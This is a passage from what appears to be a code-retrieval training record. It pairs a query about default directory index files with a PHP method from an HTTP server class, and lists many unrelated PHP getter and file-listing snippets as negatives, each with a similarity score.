count($this->pool);\n }", "protected function getFuturesLimit() {\n // Sample set: Champo's macbook\n return 8;\n }", "public function getAutoInterval() {\n $interval = PHP_INT_MAX;\n $hosts = $this->getHosts();\n foreach ($hosts as $nick => $host) {\n if ($host->exists() && $host->getInterval() < $interval) {\n $interval = $host->getInterval();\n }\n }\n return $interval;\n }", "function get_number_of_sessions()\n {\n\t\treturn count($this->sessions);\n\t}", "public function getHeartbeatTimeout()\n {\n return $this->heartbeatTimeout;\n }", "static public function GetExpectedConnectionTimeout() {\n // Different vendors implement different connection timeouts.\n // In order to optimize processing, we return a specific time for the major\n // classes currently known (feedback welcome).\n // The amount of time returned is somehow lower than the max timeout so we have\n // time for processing.\n\n if (!isset(self::$expectedConnectionTimeout)) {\n // Apple and Windows Phone have higher timeouts (4min = 240sec)\n if (stripos(SYNC_TIMEOUT_LONG_DEVICETYPES, self::GetDeviceType()) !== false) {\n self::$expectedConnectionTimeout = 210;\n }\n // Samsung devices have a intermediate timeout (90sec)\n else if (stripos(SYNC_TIMEOUT_MEDIUM_DEVICETYPES, self::GetDeviceType()) !== false) {\n self::$expectedConnectionTimeout = 85;\n }\n else {\n // for all other devices, a timeout of 30 seconds is expected\n self::$expectedConnectionTimeout = 28;\n }\n }\n return self::$expectedConnectionTimeout;\n }", "public function get_pingInterval(): int\n {\n // $res is a int;\n if ($this->_cacheExpiration <= YAPI::GetTickCount()) {\n if ($this->load(YAPI::$_yapiContext->GetCacheValidity()) != YAPI::SUCCESS) {\n return self::PINGINTERVAL_INVALID;\n }\n }\n $res = $this->_pingInterval;\n return $res;\n }", "public function get_logger_limit() {\n\t\treturn $this->get_option('ring_logger_limit', 20);\n\t}", "public function getMaxProcesses(): int\n {\n return $this->maxProcesses;\n }", "public function getTimeout(): int\n {\n return $this->timeout;\n }", "public function getMaxHashCount() {}", "public function getMaxHashCount() {}", "private static function get_timeout() {\n\t\t$timeout = absint( ini_get( 'max_execution_time' ) );\n\t\tif ( $timeout <= 1 ) {\n\t\t\t// allow for -1 or 0 for unlimited\n\t\t\t$timeout = 5000 * 1000;\n\t\t} elseif ( $timeout > 30 ) {\n\t\t\t$timeout = $timeout * 1000;\n\t\t} else {\n\t\t\t$timeout = 30000;\n\t\t}\n\t\treturn $timeout;\n\t}", "protected function resolveMaxAttempts($request, $maxAttempts)\n {\n return (int) config('api.requests_per_minute');\n }", "public function getWorkerCount(): int;", "public function count (): int {\n return count($this->clients);\n }", "public function getSessionLimit()\n {\n // Get the security policy for this user.\n $profile = $this->getProfile();\n $policy = $profile->getSecurityPolicy();\n\n return $policy->getFieldValue(DSecurityPolicy::FIELD_SESSION_LIMIT);\n }", "public function getMaxSize(): int\n {\n return $this->maxSize;\n }", "private function validateMaxConnections($max_connections)\n {\n return ChannelRepository::validateMaxConnections($max_connections);\n }", "public function getRequestTimeOut() {\n return $this->requestTimeOut;\n }", "public function getLimit()\n {\n return self::LIMIT;\n }", "public function getRequestsWithErrorsCount()\n {\n return $this->requests_with_errors_count;\n }", "public function getRequestsWithErrorsCount()\n {\n return $this->requests_with_errors_count;\n }", "public function requests() : int;", "protected function getLimit()\n {\n return (int)$this->getSettingsValue('limit');\n }" ]
[ "0.7217943", "0.6995841", "0.684907", "0.68140244", "0.63810813", "0.6331577", "0.62962025", "0.62707025", "0.62273926", "0.6217283", "0.6155623", "0.60660195", "0.60581654", "0.5992669", "0.5967646", "0.59664196", "0.596065", "0.59484506", "0.5941985", "0.5936001", "0.587745", "0.58446", "0.5806039", "0.57867473", "0.5786745", "0.57789755", "0.57525545", "0.5752373", "0.5740867", "0.5734335", "0.5734335", "0.5730552", "0.5716779", "0.5707332", "0.5689619", "0.56737876", "0.5672043", "0.56719023", "0.5664076", "0.56185985", "0.56075406", "0.55868137", "0.55773956", "0.5573535", "0.55697274", "0.5562158", "0.5559", "0.5555649", "0.5543234", "0.55333555", "0.5521076", "0.54787", "0.54738784", "0.54554206", "0.5453383", "0.5449292", "0.5444015", "0.54393226", "0.5434958", "0.54345864", "0.5434542", "0.5433955", "0.54318345", "0.5430586", "0.542571", "0.5424123", "0.5417247", "0.54129046", "0.54099965", "0.54050976", "0.53943384", "0.5389065", "0.5379365", "0.5379365", "0.53734106", "0.53542954", "0.53542054", "0.5342905", "0.5337749", "0.5334647", "0.5324347", "0.5311014", "0.530943", "0.5306134", "0.53044426", "0.5304391", "0.5304391", "0.52993566", "0.5291363", "0.5291013", "0.5288995", "0.52885085", "0.5285634", "0.5280743", "0.5275483", "0.5274317", "0.5264292", "0.5264292", "0.52626455", "0.5260849" ]
0.8511005
0
Returns the configured timeout for KeepAlive connections.
public static function getAliveTimeout() { return MHTTPD::$config['Server']['keep_alive_timeout']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getConnectTimeout();", "public function getConnectionTimeout();", "public function getHeartbeatTimeout()\n {\n return $this->heartbeatTimeout;\n }", "public function getConnectTimeout() {\n\t\treturn $this->connectionTimeout;\n\t}", "public static function getTimeout()\n {\n return static::$timeout;\n }", "public function getTimeout()\n {\n return self::$timeout;\n }", "public function getConnectTimeout()\n {\n return $this->connectTimeout;\n }", "public function getTimeout(): int\n {\n return $this->timeout;\n }", "public function getTimeout()\n {\n return $this->timeout;\n }", "public function getTimeout()\n {\n return $this->timeout;\n }", "public function getTimeout()\n {\n return $this->timeout;\n }", "public function getTimeout()\n {\n return $this->timeout;\n }", "public function getTimeout()\n {\n return $this->timeout;\n }", "public function getTimeout() {\r\n\t\treturn $this->timeout;\r\n\t}", "public function getTimeout()\n {\n return $this->getHttpClient()->getTimeout();\n }", "public function getConnectTimeout(): float\n {\n }", "public function getTimeout() {\r\n return $this->timeout;\r\n }", "public function getTimeout()\n {\n return $this->timeout;\n }", "public function getTimeout()\n\t{\n\t\treturn $this->timeout;\n\t}", "public function getHttpHeartbeatTimeout()\n {\n return $this->httpHeartbeatTimeout;\n }", "public function getTimeout() {\n return $this->_timeout;\n }", "public function getTimeout()\n {\n return $this->Timeout;\n }", "public function getTimeout()\n {\n return $this->get(self::_TIMEOUT);\n }", "public function getTimeout()\n {\n return $this->_timeout;\n }", "public function getTimeout()\n {\n return $this->_timeout;\n }", "public function getTimeout()\n {\n return isset($this->timeout) ? $this->timeout : 0;\n }", "public function getCurlConnectTimeout()\n {\n return $this->curlConnectTimeout;\n }", "public function timeout(): int\n {\n return $this->timeout;\n }", "public function timeout()\n\t{\n\t\treturn $this->timeout;\n\t}", "public function getCookiesTimeOut() \n {\n $cookiesTimeout = Mage::getStoreConfig(self::XML_PATH_COOKIES_TIMEOUT);\n return $cookiesTimeout;\n }", "public function getTimeout();", "public function getTimeout();", "public function getTimeout();", "public function getTimeout();", "public function getTimeout();", "public function getTimeout();", "function prepare_remote_connection_timeout( $timeout ) {\n\t\treturn 30;\n\t}", "public function timeout()\n {\n return 300;\n }", "public function getCurlTimeout()\n {\n return $this->curlTimeout;\n }", "public function getCurlTimeout()\n {\n return $this->curlTimeout;\n }", "public function getTimeout()\n {\n return ($this->timeout / 1000000);\n }", "public function getCurlTimeout() {\n return $this->curlTimeout;\n }", "function getRequestTimeout()\n {\n return $this->_props['RequestTimeout'];\n }", "public function getTimeOut()\n {\n return self::$timeOut;\n }", "public function getRecvTimeout()\n {\n return $this->recvTimeout;\n }", "public function getPollTimeout()\n {\n return $this->pollTimeout;\n }", "public function getCacheTimeout()\n {\n return $this->cacheTimeout;\n }", "public function getSessionTimeout() {\n if ($this->sessionTimeout === null) {\n $this->sessionTimeout = self::DEFAULT_SESSION_TIMEOUT;\n }\n\n return $this->sessionTimeout;\n }", "public function getConnectionTimeoutOptions()\n {\n $options = array();\n \n if(null !== $this->_requestConnectTimeout) {\n $options[CURLOPT_CONNECTTIMEOUT] = $this->_requestConnectTimeout;\n }\n if(null !== $this->_requestTimeout) {\n $options[CURLOPT_TIMEOUT] = $this->_requestTimeout;\n }\n \n return empty($options) ? false : $options;\n }", "public function getTimeout()\n {\n return ($this->container->getParameter('g4_timeout_reswebdefault'));\n }", "static public function GetExpectedConnectionTimeout() {\n // Different vendors implement different connection timeouts.\n // In order to optimize processing, we return a specific time for the major\n // classes currently known (feedback welcome).\n // The amount of time returned is somehow lower than the max timeout so we have\n // time for processing.\n\n if (!isset(self::$expectedConnectionTimeout)) {\n // Apple and Windows Phone have higher timeouts (4min = 240sec)\n if (stripos(SYNC_TIMEOUT_LONG_DEVICETYPES, self::GetDeviceType()) !== false) {\n self::$expectedConnectionTimeout = 210;\n }\n // Samsung devices have a intermediate timeout (90sec)\n else if (stripos(SYNC_TIMEOUT_MEDIUM_DEVICETYPES, self::GetDeviceType()) !== false) {\n self::$expectedConnectionTimeout = 85;\n }\n else {\n // for all other devices, a timeout of 30 seconds is expected\n self::$expectedConnectionTimeout = 28;\n }\n }\n return self::$expectedConnectionTimeout;\n }", "private static function get_timeout() {\n\t\t$timeout = absint( ini_get( 'max_execution_time' ) );\n\t\tif ( $timeout <= 1 ) {\n\t\t\t// allow for -1 or 0 for unlimited\n\t\t\t$timeout = 5000 * 1000;\n\t\t} elseif ( $timeout > 30 ) {\n\t\t\t$timeout = $timeout * 1000;\n\t\t} else {\n\t\t\t$timeout = 30000;\n\t\t}\n\t\treturn $timeout;\n\t}", "function getTimeoutOption() {\r\n\t\treturn $this->getOptionsSet()->getOptions(self::OPTION_TIMEOUT, 20);\r\n\t}", "public function setConnectionTimeout($timeout);", "public function getIdleTimeoutMs()\n {\n return $this->IdleTimeoutMs;\n }", "public function getTimeoutValue() \r\n\t{\r\n\t\t$timeout = (int) Mage::getStoreConfig('ec/blocker/eventTimeout');\r\n\t\t\r\n\t\tif (!$timeout)\r\n\t\t{\r\n\t\t\t$timeout = 2000;\r\n\t\t}\r\n\t\t\r\n\t\treturn $timeout;\r\n\t}", "function getTimeout() {\r\n\t\treturn ftp_get_option($this->_handle, FTP_TIMEOUT_SEC);\r\n\t}", "public function getRetryTimeout()\n {\n return $this->retryTimeout;\n }", "public function getRequestTimeOut() {\n return $this->requestTimeOut;\n }", "public function get_request_timeout(): float {\n $duration = get_config('realtimeplugin_phppoll', 'requesttimeout');\n return (isset($duration) && $duration !== false) ? (float)$duration : 30;\n }", "public function getAttackTimeout()\n {\n return $this->get(self::_ATTACK_TIMEOUT);\n }", "protected function lockoutTime()\n {\n return Arr::get(static::$config, 'locked_for', 60);\n }", "function Timeout ( $nTimeout )\n{\n if ( isset($nTimeout) ) {\n $this->_Timeout = ($nTimeout < 5) ? 5 : (int)$nTimeout;\n return true;\n } else {\n return $this->_Timeout;\n }\n}", "public function getWriteTimeout()\n {\n return $this->writeTimeout;\n }", "public function getReadTimeout() {\n return $this->readTimeout;\n }", "public function getTimeout(): ?int;", "public function getSendTimeout()\n {\n return $this->sendTimeout;\n }", "public function getGracefulDecommissionTimeout()\n {\n return $this->graceful_decommission_timeout;\n }", "public function getTimeoutMinutes()\n {\n return $this->timeout_minutes;\n }", "public function getReadTimeout()\n {\n return $this->readTimeout;\n }", "public function getReadTimeout(): float\n {\n return $this->readTimeout;\n }", "public function cacheTimeout($value = NULL) {\n $class_name = get_class($this);\n return variable_get($class_name . TingClientRequest::cache_lifetime, '1');\n }", "public function cacheTimeout($value = NULL) {\n $class_name = get_class($this);\n\n return variable_get($class_name . TingClientRequest::cache_lifetime, '1');\n }", "public function getMakeApiCallTimeout()\n {\n $returnValue = 40; // default value\n $configValue = strval(Mage::getConfig()->getNode('stores/default/innobyte_payu_lite_make_api_call_timeout'));\n if (is_numeric($configValue) && $configValue >= 0) {\n $returnValue = intval($configValue);\n }\n return $returnValue;\n }", "public function getSessionTimeoutSecs(): ?int\n {\n return $this->getParameter('sessionTimeoutSecs');\n }", "public function getJsTimeout()\n {\n return $this->jsTimeout ?: static::DEFAULT_JS_TIMEOUT;\n }", "private function getMiniCartAutoOpenTimeout()\n {\n return (int)$this->_scopeConfig->getValue(\n self::XML_PATH_CHECKOUT_SIDEBAR_AUTO_OPEN_TIMEOUT,\n ScopeInterface::SCOPE_STORE\n );\n }", "public function getTimeout(): float\n {\n }", "public function setConnectionTimeout($timeout)\n {\n // do nothing\n }", "public function openSearchTimeout(): string\n {\n return config('scout.opensearch.timeout');\n }", "public function getHeartbeatIntervalMs()\n {\n return $this->HeartbeatIntervalMs;\n }", "public function timeout() {\n\t\treturn null;\n\t}", "public function getReadTimeout(): float\n {\n }", "public function getHeartbeatInterval(): int\n {\n }", "protected function checkTimeout()\n {\n $timestamp = time();\n if (($timestamp - $this->connectionTime) > $this->reconnectTimeout) {\n $this->disconnect();\n }\n }", "public function getRpcTimeout(): float\n {\n }", "public function setConnectTimeout($seconds);", "public function getJobLockoutTime()\n {\n return $this->job_lock_timeout;\n }", "private function chooseWaitTimeout(): int\n {\n if ($this->gracefulMaxExecutionDateTime) {\n $allowedExecutionDateInterval = $this->gracefulMaxExecutionDateTime->diff(new \\DateTime());\n $allowedExecutionSeconds = $allowedExecutionDateInterval->days * 86400\n + $allowedExecutionDateInterval->h * 3600\n + $allowedExecutionDateInterval->i * 60\n + $allowedExecutionDateInterval->s;\n\n if (!$allowedExecutionDateInterval->invert) {\n $allowedExecutionSeconds *= -1;\n }\n\n /*\n * Respect the idle timeout if it's set and if it's less than\n * the remaining allowed execution.\n */\n if ($this->getIdleTimeout()\n && $this->getIdleTimeout() < $allowedExecutionSeconds\n ) {\n $waitTimeout = $this->getIdleTimeout();\n } else {\n $waitTimeout = $allowedExecutionSeconds;\n }\n } else {\n $waitTimeout = $this->getIdleTimeout();\n }\n\n if (!is_null($this->getTimeoutWait()) && $this->getTimeoutWait() > 0) {\n $waitTimeout = min($waitTimeout, $this->getTimeoutWait());\n }\n return $waitTimeout;\n }", "public static function getMaxRequests()\n\t{\n\t\treturn MHTTPD::$config['Server']['keep_alive_max_requests'];\n\t}", "public function timeout($timeout);", "public function getWriteTimeout(): float\n {\n }", "public function getConnectionTime()\n {\n return $this->info->connect_time * 1000;\n }", "public function http_timeout( $req ) {\n\t\t$req['timeout'] = 300;\n\t\treturn $req;\n\t}", "public function getClientTtl()\n {\n return isset($this->client_ttl) ? $this->client_ttl : 0;\n }", "protected function expirationTime()\n {\n $ttl = $this->getOptions()->getTtl();\n if ($ttl > 2592000) {\n return time() + $ttl;\n }\n return $ttl;\n }", "public function timeout();", "public function getMaxTtl()\n {\n return isset($this->max_ttl) ? $this->max_ttl : 0;\n }", "public function setConnectTimeoutMs(int $timeout): void;", "final public static function HpsSessionTimedOut()\n {\n return self::get(823);\n }" ]
[ "0.7273374", "0.7048277", "0.69791263", "0.6954576", "0.68341064", "0.6831145", "0.67914665", "0.6779526", "0.6732166", "0.6732166", "0.6732166", "0.6732166", "0.6732166", "0.67231953", "0.6705623", "0.6700998", "0.6695791", "0.6689187", "0.6688377", "0.6670053", "0.661954", "0.66130584", "0.6596779", "0.65816903", "0.65816903", "0.6580486", "0.65546197", "0.6514409", "0.6426698", "0.64258796", "0.64123887", "0.64123887", "0.64123887", "0.64123887", "0.64123887", "0.64123887", "0.6395045", "0.6319239", "0.62950015", "0.62950015", "0.62777525", "0.62775964", "0.62102544", "0.6193767", "0.61717683", "0.6161325", "0.61392593", "0.61336267", "0.6097693", "0.60545254", "0.60337436", "0.5998203", "0.59419113", "0.59413016", "0.58803564", "0.5858184", "0.5854024", "0.58514714", "0.58428866", "0.5811505", "0.5790947", "0.57732487", "0.57669705", "0.5697057", "0.56915873", "0.56681526", "0.5657453", "0.56310827", "0.56271136", "0.5602098", "0.54885316", "0.54213554", "0.54091895", "0.53686386", "0.53561175", "0.5342447", "0.53168964", "0.53106517", "0.52954316", "0.52801794", "0.5279837", "0.52783865", "0.52621233", "0.5256449", "0.5250348", "0.5245265", "0.5241851", "0.52395624", "0.5233431", "0.5222386", "0.52206206", "0.52003783", "0.5170624", "0.5159716", "0.51560193", "0.51226526", "0.5095839", "0.5092775", "0.5090228", "0.5063762" ]
0.78974396
0
Returns the list of default directory index files.
public static function getIndexFiles() { if (empty(MHTTPD::$config['Server']['index_files'])) { return array(); } return MHTTPD::$config['Server']['index_files']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getDefaultIndexDirectoryPath();", "public function getIndexDirectoryPath();", "public function hasDefaultIndexDirectoryPath();", "function index($dir = '.') {\n\t\t$index = array();\n\t\tif ($handle = opendir($dir)) {\n\t\t\twhile (false !== ($file = readdir($handle))) {\n\t\t\t\tif ($file != \".\" && $file != \"..\") {\n\t\t\t\t\tif (isAllowedFile($dir.'/'.$file)) $index[preg_replace(\"/^\\.\\//i\",\"\",$dir.'/'.$file)] = filemtime($dir.'/'.$file);\n\t\t\t\t\telseif (is_dir($dir.'/'.$file)) $index = array_merge($index, index($dir.'/'.$file));\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir($handle);\n\t\t}\n\t\treturn $index;\n\t}", "public function index() {\n\t\treturn array_keys($this->info->centralDirectory);\n\t}", "protected function getIndexDefaults() {\n return array(\n 'page_id' => 0,\n 'page_size' => 25,\n 'sort_by' => 'update_date',\n 'sort_order' => 'asc'\n );\n }", "public static function get_default_dirs() {\n\t\t// Always include default admin and include directories.\n\t\t$defaults = [ '/wp-admin/', '/wp-includes/' ];\n\n\t\t// Include directories set by dependencies classes if parent directory not already included.\n\t\treturn array_unique( array_merge( $defaults, (array) wp_scripts()->default_dirs, (array) wp_styles()->default_dirs ) );\n\t}", "static function getDirectoryListing();", "public function getFallbackDirs();", "function list_files () {\n\t\t$root = $this->get_root();\n\t\t\n\t\treturn $this->_list_files($root);\n\t}", "public function listAll()\n {\n $files = \\Core\\File\\System::listFiles($this->_getPath(), \\Core\\File\\System::EXCLUDE_DIRS);\n $result = [];\n foreach (array_keys($files) as $file) {\n $result[] = pathinfo($file, PATHINFO_FILENAME);\n }\n return $result;\n }", "public function fileList()\n {\n return array_values(array_diff(scandir($this->location), ['.', '..']));\n }", "function _generateFilesList() {\n return array();\n }", "public function actionIndexFiles()\n {\n $manager = new Manager(['module' => $this->module]);\n $manager->indexAll();\n }", "public function getDefaultIndex()\n {\n return $this->defaultIndex;\n }", "public function getDefaultFolder() {}", "public function getDefaultFolder() {}", "function getDefaultFolder() ;", "public static function get_log_index() {\n\t\t$server = WD_Utils::determine_server( content_url( 'index.php' ) );\n\t\tif ( $server == 'apache' ) {\n\t\t\t$is_apache = true;\n\t\t} else {\n\t\t\t$is_apache = false;\n\t\t}\n\n\t\t$result = array();\n\t\tif ( $is_apache ) {\n\t\t\t$upload_dirs = wp_upload_dir();\n\t\t\t$log_dir = $upload_dirs['basedir'] . DIRECTORY_SEPARATOR . 'wp-defender/';\n\t\t\t$result = WD_Utils::get_dir_tree( $log_dir, true, false, array(), array(\n\t\t\t\t'ext' => array( 'log' )\n\t\t\t) );\n\t\t} else {\n\t\t\tglobal $wpdb;\n\t\t\t$table = is_multisite() ? $wpdb->sitemeta : $wpdb->options;\n\t\t\t$key = is_multisite() ? 'meta_key' : 'option_name';\n\t\t\t$sql = \"SELECT $key FROM $table WHERE $key LIKE %s\";\n\t\t\t$result = $wpdb->get_col( $wpdb->prepare( $sql, 'wd_log%' ) );\n\t\t}\n\n\t\treturn $result;\n\t}", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/wiki_sync.php',\n '_tests/tests/unit_tests/wiki_sync.php',\n 'lang_custom/EN/wiki_sync.ini',\n 'sources_custom/wiki_sync.php',\n 'sources_custom/hooks/systems/config/wiki_alt_changes_link_stub.php',\n 'sources_custom/hooks/systems/config/wiki_enable_git_sync.php',\n 'sources_custom/hooks/systems/config/wiki_enable_wysiwyg.php',\n 'sources_custom/hooks/systems/config/wiki_sync_media_directory.php',\n 'sources_custom/hooks/systems/config/wiki_sync_page_directory.php',\n 'sources_custom/hooks/systems/cron/wiki_sync_git.php',\n 'sources_custom/hooks/systems/notifications/wiki_failed_git_pull.php',\n 'sources_custom/wiki.php',\n 'site/pages/modules_custom/wiki.php',\n 'cms/pages/modules_custom/cms_wiki.php',\n );\n }", "public function initDefaultDirectories()\n {\n $this->setParam(DirectoryKeys::TMP, ParamNode::TYPE_STRING, '/tmp');\n $this->setParam(DirectoryKeys::DEPLOY, ParamNode::TYPE_STRING, '/deploy');\n $this->setParam(DirectoryKeys::WEBAPPS, ParamNode::TYPE_STRING, '/webapps');\n $this->setParam(DirectoryKeys::VAR_LOG, ParamNode::TYPE_STRING, '/var/log');\n $this->setParam(DirectoryKeys::VAR_RUN, ParamNode::TYPE_STRING, '/var/run');\n $this->setParam(DirectoryKeys::VAR_TMP, ParamNode::TYPE_STRING, '/var/tmp');\n $this->setParam(DirectoryKeys::ETC_APPSERVER, ParamNode::TYPE_STRING, '/etc/appserver');\n $this->setParam(DirectoryKeys::ETC_APPSERVER_CONFD, ParamNode::TYPE_STRING, '/etc/appserver/conf.d');\n }", "public static function getIndexFile() {\n return self::$config->index_file;\n }", "protected function getFileList()\n\t\t{\n\t\t\t$dirname=opendir($this->ruta);\n\t\t\t$files=scandir($this->ruta);\n\t\t\tclosedir ($dirname);\t\n\t\t\t\n\t\t\treturn $files;\t\t\n\t\t}", "public function index()\n {\n $files = $this->files\n ->getFilesPaginated(config('core.sys.file.default_per_page'))\n ->items();\n return $this->handler\n ->apiResponse($files);\n }", "protected function getFileIndexRepository() {}", "protected function getFileIndexRepository() {}", "protected function getFileIndexRepository() {}", "protected function getFileIndexRepository() {}", "protected function getFileIndexRepository() {}", "function ft_hook_dirlist() {}", "public function getIniFiles()\n {\n // initialize array of ini files\n $iniFiles = array();\n \n // loop over directories\n foreach ($this->configDirs as $dir) {\n \n if (is_dir($dir)) {\n\n // open directory ...\n if ($dirHandle = opendir($dir)) {\n \n // ... and iterate of the file therein\n while (($file = readdir($dirHandle)) !== FALSE) {\n \n // check file extension\n $pathParts = pathinfo($dir . DIRECTORY_SEPARATOR . $file);\n if ($pathParts['extension'] == 'ini') {\n \n // we found a .ini file\n $iniFiles[] = $dir . DIRECTORY_SEPARATOR . $file;\n }\n }\n closedir($dirHandle);\n }\n }\n }\n\n return $iniFiles;\n }", "function getDefaultRootFolder() {\n\t\treturn\tarray(\n\t\t\t\t\t\t1,\t\t\t\t\t\t\t// folderID\t\t\t\t\t\t[0]\n\t\t\t\t\t\t'root',\t\t\t\t\t// in folder (#id)\t\t\t[1]\n\t\t\t\t\t\t'',\t\t\t\t\t\t// folder name\t\t\t\t\t[2]\n\t\t\t\t\t\t'',\t\t\t\t\t\t// introtext\t\t\t\t\t[3]\n\t\t\t\t\t\t$this->installdate,\t// timestamp (publish off)\t[4]\n\t\t\t\t\t\t1,\t\t\t\t\t\t\t// folder position\t\t\t[5]\n\t\t\t\t\t\t0,\t\t\t\t\t\t\t// imageID for folder icon\t[6]\n\t\t\t\t\t\t6,\t\t\t\t\t\t\t// folder sort mode\t\t\t[7]\n\t\t\t\t\t\t'',\t\t\t\t\t\t// password\t\t\t\t\t\t[8]\n\t\t\t\t\t\t0,\t\t\t\t\t\t\t// number of cols\t\t\t\t[9]\n\t\t\t\t\t\t0,\t\t\t\t\t\t\t// number of rows\t\t\t\t[10]\n\t\t\t\t\t\t0\t\t\t\t\t\t\t// folder type\t\t\t\t\t[11]\n\t\t\t\t\t);\n\t}", "protected function getDefaultConfigPaths(): array\n {\n $paths = [];\n foreach ($this->getAcceptedExtensions() as $extension) {\n $path = 'phpunitgen.'.$extension;\n $paths[] = $path;\n $paths[] = $path.'.dist';\n }\n\n return $paths;\n }", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/trickstr.php',\n 'sources_custom/programe/.htaccess',\n 'sources_custom/programe/aiml/.htaccess',\n 'sources_custom/programe/aiml/index.html',\n 'sources_custom/programe/index.html',\n 'sources_custom/hooks/modules/chat_bots/knowledge.txt',\n 'sources_custom/hooks/modules/chat_bots/trickstr.php',\n 'sources_custom/programe/aiml/readme.txt',\n 'sources_custom/programe/aiml/startup.xml',\n 'sources_custom/programe/aiml/std-65percent.aiml',\n 'sources_custom/programe/aiml/std-pickup.aiml',\n 'sources_custom/programe/botloaderfuncs.php',\n 'sources_custom/programe/customtags.php',\n 'sources_custom/programe/db.sql',\n 'sources_custom/programe/graphnew.php',\n 'sources_custom/programe/respond.php',\n 'sources_custom/programe/util.php',\n );\n }", "public function get_directory_list() {\n\t\treturn $this->directory_list;\n\t}", "public function listFiles($dir);", "public function install_get_path_search_list()\n {\n return array(\n 0 => '/',\n 1 => 'mybb',\n 2 => 'forum',\n 3 => 'forums',\n 4 => 'board',\n 5 => 'boards',\n 6 => 'upload',\n 7 => 'uploads',\n 8 => '../forums',\n 9 => '../forum',\n 10 => '../boards',\n 11 => '../board',\n 12 => '../mybb',\n 13 => '../upload',\n 14 => '../uploads',\n 15 => '../themes',\n 16 => '../theme',\n 17 => '../main'\n );\n }", "public static function get_file_list() {\n\t\t$new_file_list = array();\n\t\t$files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( ABSPATH ), RecursiveIteratorIterator::SELF_FIRST );\n\t\tforeach ( $files as $file ) {\n\t\t\t$file = realpath( $file );\n\t\t\tif ( File_List::in_ignore_list( $file ) ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif ( is_dir( $file) ) {\n\t\t\t\t$file .= '/';\n\t\t\t}\n\t\t\t$new_file_list[] = array( $file, File_List::INCLUDED ) ;\n\t\t}\n\t\tasort( $new_file_list );\n\t\treturn array_values( $new_file_list );\n\t}", "public function Get(){\n\n // TODO: this is horrible - try to use glob or RecursiveIteratorIterator - no time\n $fileList = [];\n\n if (!is_dir($this->currentPath)) {\n return $fileList;\n }\n\n $files = $this->scanFolder($this->currentPath);\n\n // up one level link\n if ($this->currentPath != $this->rootPath) {\n $fileList[] = array(\n 'file_name' => \"&uarr;\",\n 'directory' => true,\n 'extension' => '',\n 'size' => \"\",\n 'link' => $this->oneLevelUp(),\n );\n }\n\n foreach ($files as $file) {\n if($file == \".\" || $file == \"..\"){\n continue;\n }\n\n if ($this->isDir($file)) {\n $fileList[] = array(\n 'file_name' => $file,\n 'directory' => true,\n 'extension' => 'folder',\n 'size' => \"\",\n 'link' => $this->currentPath . $file,\n );\n } else {\n // filter on the fly\n $ext = $this->fileExtension($file);\n if(!empty($this->extensionFilter)){\n if(!in_array($ext, $this->extensionFilter)){\n continue;\n }\n }\n $fileList[] = [\n 'file_name' => $file,\n 'directory' => false,\n 'extension' => $ext,\n 'size' => $this->fileSize($file),\n 'link' => \"\",\n ];\n\n }\n }\n\n return $fileList;\n }", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/idolisr.php',\n 'sources_custom/hooks/modules/members/idolisr.php',\n 'sources_custom/miniblocks/main_stars.php',\n 'sources_custom/miniblocks/side_recent_points.php',\n 'themes/default/templates_custom/POINTS_GIVE.tpl',\n 'themes/default/templates_custom/BLOCK_MAIN_STARS.tpl',\n 'themes/default/templates_custom/BLOCK_SIDE_RECENT_POINTS.tpl',\n );\n }", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/google_search.php',\n 'lang_custom/EN/google_search.ini',\n 'sources_custom/blocks/side_google_search.php',\n 'sources_custom/blocks/main_google_results.php',\n 'themes/default/templates_custom/BLOCK_SIDE_GOOGLE_SEARCH.tpl',\n 'themes/default/templates_custom/BLOCK_MAIN_GOOGLE_SEARCH_RESULTS.tpl',\n 'themes/default/css_custom/google_search.css',\n 'pages/comcode_custom/EN/_google_search.txt',\n );\n }", "public static function getIndexPage() {\n chdir(ROOTDIR);\n\n //FIXME: move to Request class\n $queryString = $_SERVER['REQUEST_URI'];\n $filePath = realpath(ROOTDIR . parse_url($queryString)['path']);\n\n $res = [];\n if ($filePath && is_dir($filePath)){\n // attempt to find an index file\n// function getRendererName($rendererName) { return \"index.$rendererName\";};\n $availableRenderers = array_values(array_intersect(\n Renderer::getRenderersPriority(),\n Renderer::getRenderersNames()\n ));\n// $renderers = array_map(function($rendererName) { return \"index.$rendererName\";}, $availableRenderers);\n foreach ($availableRenderers as $rname){\n if ($indexFilePath = realpath($filePath . DIRECTORY_SEPARATOR . \"index.\" . $rname)){\n $res['renderer'] = $rname;\n $res['path'] = $indexFilePath;\n break;\n }\n }\n }\n return $res;\n }", "protected function getBasicDirectories(): array\n {\n return [\n $this->folderPaths['logs'],\n $this->folderPaths['framework'],\n $this->folderPaths['app'] . DIRECTORY_SEPARATOR . 'Provider',\n $this->folderPaths['tests'] . DIRECTORY_SEPARATOR . 'Unit',\n ];\n }", "function sed_diskcache_list()\n{\n\tglobal $cfg;\n\n\t$dir_a = array();\n\n\t$a = sed_diskcache_calc($cfg['cache_dir'], false);\n\tif ($a[0])\n\t{\n\t\t$dir_a[SED_DISKCACHE_ONLYFILES] = $a;\n\t}\n\n\t$pos = mb_strlen($cfg['cache_dir']) + 1;\n\tforeach (glob(\"{$cfg['cache_dir']}/*\", GLOB_ONLYDIR) as $dir)\n\t{\n\t\t$a = sed_diskcache_calc($dir);\n\t\tif ($a[0])\n\t\t{\n\t\t\t$dir_a[mb_substr($dir, $pos)] = $a;\n\t\t}\n\t}\n\n\treturn $dir_a;\n}", "public function getInitFiles() {\n $aOut = array();\n foreach ($this->getBasePaths('init') as $aPaths) {\n foreach ($aPaths as $aInfo) {\n $aOut[] = $aInfo['path'];\n }\n }\n foreach ($this->getBasePaths('include') as $aPaths) {\n foreach ($aPaths as $aInfo) {\n $aOut[] = $aInfo['path'];\n }\n }\n return $aOut;\n }", "public function defaultExcludedPaths()\n {\n return [];\n }", "protected function getModuleFileNames()\n {\n $results = db_query('SELECT name, filename FROM {system} WHERE status = 1 ORDER BY weight ASC, name 